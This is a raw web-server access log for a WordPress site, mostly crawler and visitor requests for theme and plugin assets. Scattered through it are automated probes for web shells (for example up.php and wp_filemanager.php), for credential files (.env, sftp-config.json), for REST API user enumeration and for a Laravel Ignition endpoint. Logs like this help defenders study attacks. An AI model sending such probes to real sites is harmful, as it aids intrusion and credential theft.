/wp-content/plugins/elementor/assets/lib/font-awesome/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 223.89.230.252 - - [01/Apr/2026:23:10:16 +0300] "GET /wp-includes/js/jquery/ui/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 43.133.69.37 - - [01/Apr/2026:22:21:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.63.83.113 - - [01/Apr/2026:22:26:41 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:27:19 +0300] "GET /file6.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:29:06 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:30:01 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:33:07 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 116.179.32.92 - - [01/Apr/2026:22:56:53 +0300] "GET /wp-content/plugins/elementor/assets/lib/eicons/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 220.181.108.105 - - [01/Apr/2026:22:56:53 +0300] "GET /wp-content/uploads/2024/06/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 220.181.51.92 - - [01/Apr/2026:22:56:55 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 27.187.73.234 - - [01/Apr/2026:22:56:55 +0300] "GET /wp-content/uploads/2024/06/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 220.181.108.105 - - [01/Apr/2026:23:00:13 +0300] "GET /wp-content/uploads/elementor/google-fonts/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 220.181.108.114 - - [01/Apr/2026:23:03:33 +0300] "GET /wp-content/plugins/elementor/assets/lib/animations/styles/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 119.249.100.45 - - [01/Apr/2026:23:06:54 +0300] "GET /wp-content/plugins/elementor/assets/lib/font-awesome/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 116.179.32.198 - - [01/Apr/2026:23:10:14 +0300] "GET /wp-content/plugins/header-footer-elementor/inc/widgets-css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 107.178.194.195 - - [01/Apr/2026:21:36:54 +0300] "HEAD /wp-content/uploads/theplus-addons/theplus-post-81.min.js?ver=1775018240 HTTP/1.1" 301 0 "http://eliteewallet.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 AppEngine-Google; (+http://code.google.com/appengine; appid: s~virustotalcloud)" 195.123.244.84 - - [01/Apr/2026:21:50:09 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0" 20.63.83.113 - - [01/Apr/2026:22:26:54 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:27:43 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:32:05 +0300] "GET /test.php HTTP/1.1" 301 795 "-" "-" 172.213.236.116 - - [01/Apr/2026:22:37:01 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.213.236.116 - - [01/Apr/2026:22:37:02 +0300] "GET /wp-Blogs.php HTTP/1.1" 301 795 "-" "-" 119.249.100.177 - - [01/Apr/2026:22:56:54 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 175.18.159.64 - - [01/Apr/2026:22:56:55 +0300] "GET /wp-content/plugins/elementor/assets/lib/font-awesome/webfonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 119.249.100.181 - - [01/Apr/2026:22:57:11 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 116.179.32.35 - - [01/Apr/2026:23:00:13 +0300] "GET /wp-content/plugins/the-plus-addons-for-elementor-page-builder/assets/svg/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 220.181.51.118 - - [01/Apr/2026:23:00:14 +0300] "GET /wp-content/uploads/elementor/google-fonts/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 116.179.32.112 - - [01/Apr/2026:23:03:33 +0300] "GET /wp-json/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 220.181.51.88 - - [01/Apr/2026:23:03:34 +0300] "GET /wp-content/uploads/elementor/google-fonts/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 118.114.242.56 - - [01/Apr/2026:23:03:35 +0300] "GET /wp-content/plugins/elementor/assets/lib/animations/styles/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 220.181.108.81 - - [01/Apr/2026:23:06:53 +0300] "GET /wp-content/plugins/elementor/assets/lib/font-awesome/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 123.55.207.91 - - [01/Apr/2026:23:06:55 +0300] "GET /wp-content/uploads/elementor/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 116.179.32.45 - - [01/Apr/2026:23:10:13 +0300] "GET /wp-content/uploads/2025/03/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 120.217.53.125 - - [01/Apr/2026:23:10:16 +0300] "GET /wp-content/plugins/header-footer-elementor/inc/widgets-css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 106.119.249.222 - - [01/Apr/2026:23:10:16 +0300] "GET /wp-content/plugins/elementor/assets/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 119.249.100.175 - - [01/Apr/2026:22:56:54 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 119.249.100.43 - - [01/Apr/2026:22:56:54 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 119.249.100.44 - - [01/Apr/2026:22:57:09 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 220.181.108.112 - - [01/Apr/2026:23:00:13 +0300] "GET /wp-content/plugins/header-footer-elementor/assets/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 116.179.32.30 - - [01/Apr/2026:23:00:13 +0300] "GET /wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 220.181.51.88 - - [01/Apr/2026:23:00:14 +0300] "GET /wp-content/uploads/theplus-addons/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 119.249.100.117 - - [01/Apr/2026:23:00:14 +0300] "GET /wp-content/plugins/header-footer-elementor/assets/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 112.234.11.193 - - [01/Apr/2026:23:00:15 +0300] "GET /wp-content/uploads/theplus-addons/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 175.8.54.128 - - [01/Apr/2026:23:00:15 +0300] "GET /wp-content/uploads/elementor/google-fonts/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 112.226.217.243 - - [01/Apr/2026:23:03:35 +0300] "GET /wp-content/plugins/elementor/assets/lib/jquery-numerator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 220.181.108.147 - - [01/Apr/2026:23:06:53 +0300] "GET /wp-content/themes/blocksy/static/bundle/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 220.181.108.104 - - [01/Apr/2026:23:06:53 +0300] "GET /wp-content/plugins/elementor/assets/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 220.181.51.85 - - [01/Apr/2026:23:06:54 +0300] "GET /wp-content/themes/blocksy/static/bundle/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 220.181.51.90 - - [01/Apr/2026:23:10:14 +0300] "GET /wp-content/uploads/2025/03/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 119.249.100.238 - - [01/Apr/2026:23:10:15 +0300] "GET /wp-content/plugins/header-footer-elementor/inc/widgets-css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 183.241.155.165 - - [01/Apr/2026:23:10:15 +0300] "GET /wp-content/uploads/2025/03/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 20.63.83.113 - - [01/Apr/2026:22:29:13 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:29:48 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:30:13 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 119.249.100.48 - - [01/Apr/2026:22:57:00 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 58.246.194.226 - - [01/Apr/2026:23:00:15 +0300] "GET /wp-content/plugins/header-footer-elementor/assets/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 116.179.32.197 - - [01/Apr/2026:23:03:33 +0300] "GET /wp-content/plugins/elementor/assets/lib/jquery-numerator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 116.179.32.22 - - [01/Apr/2026:23:03:33 +0300] "GET /wp-content/uploads/blocksy/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 116.179.32.47 - - [01/Apr/2026:23:06:53 +0300] "GET /wp-content/plugins/the-plus-addons-for-elementor-page-builder/includes/user-experience/update-popup/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 116.179.32.19 - - [01/Apr/2026:23:10:14 +0300] "GET /wp-content/plugins/elementor/assets/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 51.15.17.28 - - [01/Apr/2026:23:32:41 +0300] "GET /index.php?rest_route=/wp/v2/users&orderby=id&order=asc&per_page=100&page=1 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 20.63.83.113 - - [01/Apr/2026:22:26:27 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:28:21 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:28:24 +0300] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:28:48 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:30:56 +0300] "GET /d.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:31:15 +0300] "GET /file61.php HTTP/1.1" 301 795 "-" "-" 35.225.82.182 - - [01/Apr/2026:22:45:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.197 Safari/537.36" 116.179.32.143 - - [01/Apr/2026:22:56:54 +0300] "GET /wp-content/plugins/the-plus-addons-for-elementor-page-builder/assets/svg/testimonial-mask.svg HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 220.181.51.90 - - [01/Apr/2026:22:56:54 +0300] "GET /wp-content/plugins/elementor/assets/lib/eicons/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 119.249.100.238 - - [01/Apr/2026:22:56:54 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 116.179.32.14 - - [01/Apr/2026:23:00:13 +0300] "GET /wp-content/uploads/theplus-addons/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 119.249.100.113 - - [01/Apr/2026:23:03:34 +0300] "GET /wp-content/plugins/elementor/assets/lib/jquery-numerator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 220.181.108.80 - - [01/Apr/2026:23:06:53 +0300] "GET /wp-content/uploads/elementor/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 220.181.51.85 - - [01/Apr/2026:23:06:54 +0300] "GET /wp-content/uploads/elementor/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 220.181.51.113 - - [01/Apr/2026:23:10:15 +0300] "GET /wp-content/plugins/elementor/assets/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 20.63.83.113 - - [01/Apr/2026:22:26:33 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:28:02 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:28:09 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:28:09 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:28:30 +0300] "GET /main.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:28:53 +0300] "GET /ca.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:29:34 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:31:05 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:31:40 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:32:21 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:32:52 +0300] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 116.179.32.215 - - [01/Apr/2026:22:56:53 +0300] "GET /wp-content/plugins/elementor/assets/lib/font-awesome/webfonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 119.249.100.107 - - [01/Apr/2026:22:56:54 +0300] "GET /wp-content/plugins/elementor/assets/lib/font-awesome/webfonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 220.181.108.165 - - [01/Apr/2026:22:56:54 +0300] "GET /wp-json/wp/v2/pages/81 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 183.52.221.0 - - [01/Apr/2026:23:03:35 +0300] "GET /wp-content/uploads/blocksy/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 220.181.51.113 - - [01/Apr/2026:23:06:54 +0300] "GET /wp-content/plugins/the-plus-addons-for-elementor-page-builder/includes/user-experience/update-popup/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 116.179.32.218 - - [01/Apr/2026:23:10:13 +0300] "GET /wp-includes/js/jquery/ui/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 103.77.106.81 - - [02/Apr/2026:00:19:28 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 103.77.106.81 - - [02/Apr/2026:00:19:24 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 144.172.104.129 - - [02/Apr/2026:04:05:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0" 103.104.22.51 - - [02/Apr/2026:00:48:17 +0300] "GET /dzjyfhor HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36" 82.23.167.121 - - [02/Apr/2026:00:48:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Safari/605.1.15" 108.165.182.170 - - [02/Apr/2026:00:48:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Safari/605.1.15" 74.248.144.184 - - [02/Apr/2026:02:19:37 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 170.106.73.216 - - [02/Apr/2026:02:59:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 38.34.178.153 - - [02/Apr/2026:03:32:18 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 198.145.48.95 - - [02/Apr/2026:00:48:15 +0300] "GET /dzjyfhor HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0" 166.0.52.102 - - [02/Apr/2026:00:48:14 +0300] "GET /dzjyfhor HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15" 57.128.52.136 - - [02/Apr/2026:00:58:05 +0300] "GET /.well-known/pki-validation/index.php HTTP/1.1" 404 796 "-" "get_local:DCV" 57.128.52.136 - - [02/Apr/2026:00:58:10 +0300] "GET /.well-known/pki-validation/dropdown.php HTTP/1.1" 404 796 "-" "get_local:DCV" 82.22.158.137 - - [02/Apr/2026:00:48:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) obsidian/1.6.5 Chrome/124.0.6367.243 Electron/30.1.2 Safari/537.36" 49.51.203.164 - - [02/Apr/2026:03:51:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 192.36.109.128 - - [02/Apr/2026:00:35:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115" 31.98.21.119 - - [02/Apr/2026:00:48:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" 20.240.45.211 - - [02/Apr/2026:01:11:49 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 182.44.10.67 - - [02/Apr/2026:03:23:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 164.68.124.27 - - [02/Apr/2026:05:05:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 116.76.38.100 - - [02/Apr/2026:06:39:08 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.4017.43 Safari/537.36 QIHU 360EE" 43.155.140.157 - - [02/Apr/2026:09:01:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 42.83.147.55 - - [02/Apr/2026:09:19:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/74.0.3729.169 Safari/537.36" 161.178.3.105 - - [02/Apr/2026:08:12:47 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 43.166.134.47 - - [02/Apr/2026:08:12:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 34.126.173.170 - - [02/Apr/2026:09:31:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) Firefox/117.0" 20.63.35.141 - - [02/Apr/2026:13:25:08 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 185.8.106.156 - - [02/Apr/2026:14:06:52 +0300] "GET //eliteewallet.com/wp-content/themes/blocksy/static/bundle/main.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 9; Pixel 2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36" 20.63.35.141 - - [02/Apr/2026:15:08:19 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 185.8.106.156 - - [02/Apr/2026:14:06:52 +0300] "GET //eliteewallet.com/wp-content/plugins/elementor/assets/lib/jquery-numerator/jquery-numerator.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41" 185.8.106.156 - - [02/Apr/2026:14:06:52 +0300] "GET //eliteewallet.com/wp-content/uploads/theplus-addons/theplus-post-81.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 635) like Gecko" 185.8.106.156 - - [02/Apr/2026:14:06:52 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/ui/core.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 9; SM-M205FN) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36" 3.86.193.169 - - [02/Apr/2026:15:06:32 +0300] "GET /_ignition/execute-solution HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.5) AppleWebKit/618.3.5 (KHTML, like Gecko) Version/17.4 Safari/618.3.5" 102.129.234.149 - - [02/Apr/2026:10:51:38 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 87.121.84.99 - - [02/Apr/2026:10:56:27 +0300] "GET /assets/global/plugins/plupload/examples/upload.php HTTP/1.1" 301 795 "-" "ALittle Client" 188.116.25.189 - - [02/Apr/2026:11:34:20 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 185.8.106.156 